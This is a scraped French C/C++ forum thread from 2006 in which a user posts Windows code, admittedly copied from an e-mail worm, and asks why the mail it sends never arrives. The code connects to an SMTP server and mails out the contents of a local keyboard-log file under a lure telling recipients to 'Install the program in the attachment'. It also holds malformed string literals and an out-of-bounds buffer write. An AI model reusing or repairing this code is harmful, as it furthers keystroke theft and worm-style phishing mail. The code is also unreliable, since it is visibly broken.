begin process at 2012 02 11 04:30:24
  Trouver un code source :
 
dans
 
Accueil > Forum > 

Archive C/C++

 > 

Archives

 > 

Réseau / Internet

 > 

Pourquoi je ne reçois pas de mail avec ce petit programme ?


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

Pourquoi je ne reçois pas de mail avec ce petit programme ?

mardi 31 janvier 2006 à 10:04:02 | Pourquoi je ne reçois pas de mail avec ce petit programme ?

TRSM

Voilà j'essaye d'envoyer un mail sur ma boite à lettres  avec une pièce jointe :
j'essaye de bidouiller un petit programme dont les fonctions ont été recopiées en grande partie sur le e-worm piece by piece.
le programme une fois compilée fonctionne et ne retourne pas d'erreur mais je ne reçois rien dans ma boite.( Je ne cherche pas à faire un virus).
Au niveau compréhension si quelqu'un peut jeter un coup d'oeil au source :
(les slashs remplacent mon pseudo aol)


// Mail4.cpp : Defines the entry point for the application.
//
#define _WIN32_WINNT 0x0500


#include "stdafx.h"
#include <fstream.h>
#include <tlhelp32.h>
#include <string.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib")


WORD version=MAKEWORD(1,1);

WSADATA wsaData;
char Buf[256];
char myBuf[256];
char server[]="mail.aol.com";
char email[]="//////@aol.com";
char helo[]="aol.com";
char emails[50] [100];
char windir[MAX_PATH];
char ch[1];


SOCKET theSocket;
int err=0;
int sending=0;
int i;
int connected=0;
int nRet;
double k;


void sendmail();
int conect();

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

conect(); 

return 0;
}

void sendmail()

{
sending=1;
strcpy(myBuf,"HELO <");
strcat(myBuf,helo);
strcat(myBuf,">\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
recv(theSocket,Buf,sizeof(Buf),0);

if (Buf[0]=='2' && Buf[1]=='5' && Buf[2]=='0')
{
strcpy(myBuf,"MAIL FROM:<");
strcat(myBuf,email);
strcat(myBuf,">\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
recv(theSocket,Buf,sizeof(Buf),0);
}

if (Buf[0]=='4' || Buf[0]=='5') err=1;
if (Buf[0]=='2' && Buf[1]=='5' && Buf[2]=='0' && err==0)
{
strcpy(myBuf,"RCPT TO:<");
strcat(myBuf,email);
strcat(myBuf,">\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
recv(theSocket,Buf,sizeof(Buf),0);
}
if (Buf[0]=='4' || Buf[0]=='5') err=1;
if (Buf[0]=='2' && Buf[1]=='5' && err==0)
{
strcpy(myBuf,"DATA\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
recv(theSocket,Buf,sizeof(Buf),0);
}
if (Buf[0]=='4' || Buf[0]=='5') err=1;
if (Buf[0]=='3' && Buf[1]=='5' && Buf[2]=='4' && err==0)
{
if (stricmp(email,"//////@aol.com")==0)
{
strcpy(myBuf,"Reply-To: \"Matthieu\"<//////\x0d\x0a">@aol.com>\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"From: \"Matthieu\"<//////\x0d\x0a">@aol.com>\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"Subject:Mail par Matthieu \x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
}

strcpy(myBuf,"MIME-Version:1.0\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

strcpy(myBuf,"Content-Type: multipart/mixed;\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

strcpy(myBuf,"   boundary = \"bla\"\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

strcpy(myBuf,"X-Priority: 3\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

strcpy(myBuf,"X -MSMail - Priority: 3\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

strcpy(myBuf,"X-Mailer:mailer@localhost\x0d\x0a\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

strcpy(myBuf,"This is a multi-part message in MIME format.\x0d\x0a\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

strcpy(myBuf,"--bla\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

strcpy(myBuf,"Content-Type: text/plain; charset:us-ascii\x0d\x0a\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

strcpy(myBuf,"Install the program in the attachment\x0d\x0a\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

strcpy(myBuf,"Content-Transfer-Encoding: base64\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);

fstream f("C:\\CODE\\C\\KBDLOG\\K1.log",ios::in);
for (k=0;k<8192;k++)
{
 f.get(ch[1]);
 strcpy(myBuf,&ch[1]);
 send (theSocket,myBuf,strlen(myBuf),0);
}
f.close();

strcpy(myBuf,"\x0d\x0a--bla--\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
strcpy(myBuf,"\x0d\x0a.\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
recv(theSocket,Buf,sizeof(Buf),0);
}


if (Buf[0]=='4' || Buf[0]=='5') err=1;
{
strcpy(myBuf,"QUIT\x0d\x0a");
send(theSocket,myBuf,strlen(myBuf),0);
}
}

int conect()

{

i=WSAStartup(version,&wsaData);
if (i!=0) {return(0);}

LPHOSTENT lpHostEntry;

lpHostEntry=gethostbyname(server);
if (lpHostEntry==NULL)
{
WSACleanup();
connected=0;
return(0);
} else connected=1;

theSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (theSocket==INVALID_SOCKET)
{
WSACleanup();
connected=0;
return (0);
}
SOCKADDR_IN saServer;
saServer.sin_family=AF_INET;
saServer.sin_addr=*((LPIN_ADDR)*lpHostEntry->h_addr_list);
saServer.sin_port=htons(25);

nRet=connect(theSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));
if (nRet==SOCKET_ERROR)
{
WSACleanup();
connected=0;
return (0);
}

nRet=recv(theSocket,Buf,sizeof(Buf),0);
if (nRet==SOCKET_ERROR)
{
WSACleanup();
connected=0;
return (0);
}

if (Buf[0]=='4' || Buf[0]=='5') err=1;
if (Buf[0]=='2' && Buf[1]=='2' && Buf[2]=='0')
{
sendmail();
}
closesocket(theSocket);
WSACleanup();
return 0;
}

jeudi 23 février 2006 à 21:09:47 | Re : Pourquoi je ne reçois pas de mail avec ce petit programme ?

MisterDa2

heuu sans fichier joint le mail arrive bien à destination ?
vendredi 24 février 2006 à 10:43:33 | Re : Pourquoi je ne reçois pas de mail avec ce petit programme ?

TRSM

Non en fait même sans pièce jointe , le mail n'arrive pas a destination.

Merci.


Cette discussion est classée dans : buf, mybuf, thesocket, x0d, x0a


Répondre à ce message

Sujets en rapport avec ce message

Problème de rafraichissement (?) [ par Slaayer ] G programmé une application Win32 en C, sous visual C++, permettant de chatter en se connectant à un serveur.Le client intercepte bien les msg envoyé RS232c ss vc++ [ par kalf2000 ] salut,alor voila je suis en projet pour mon bts et je dois utiliser un scanner relier par une liaison rs232c, je dois donc recuperer le numero du code PROBLEME CLIENT SERVER [ par zzzzzz ] Mon client marche c sur et il envoie bien abcd mais monserver marche po je suis debutant en server socket... :(je sais pas comment faire en sorte que Prob strcmp(); [ par zzzzzz ] c pour mon server en socket. Jaimerai que quand ya un message envoyer part le client si ce message c abcd ca ecrive Commande abcd Recu ! or je suis pe UNIX: Probleme de pipe (2): le source ne passe pas entierement [ par CoreBreaker ] int fds[2];... int f= open("arch.cpio", O_RDONLY); pid_t p; pipe(fds); p= fork(); if( p > 0 ) { char buf[1024]; int n; while( (n= read( UNIX: Problème de pipe [ par CoreBreaker ] La communication à travers un pipe ne se fait pas.Kelkun pourrait-il m'aider ?int fds[2];int f= open("fichier", O_RDONLY);pid_t p;pipe(fds); recuper les log dans un fichier [ par ben01n ] salut tout le monde je prog un client-serveur sous linux qui devrait envoyer le contenu d'un fichier log et je me galère gravepour ce qui est d'envoye Trainer [ par camel ] je veux faire un trainer. Plus précisément en fait je souhaite faire ca en C++ :PokeAddress := $55C7E9; // Adresse PokeValue := 99; envoi de fichier par socket [ par Anacr0x ] bon vouala, j'ai crée un serveur et un client, tt se passe bien, il parle entre eux et tt et tt. Par contre, quan je veu envoyer un fichier, ca merd ! Liberation de la mémoire [ par Xentor609 ] Salut,Voici le code qui me pose un pitit probleme:char* fonction(){char* buf=new char[MAX_BUF];//traitement du bufreturn buf;}void MyFunc()<


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 1,669 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales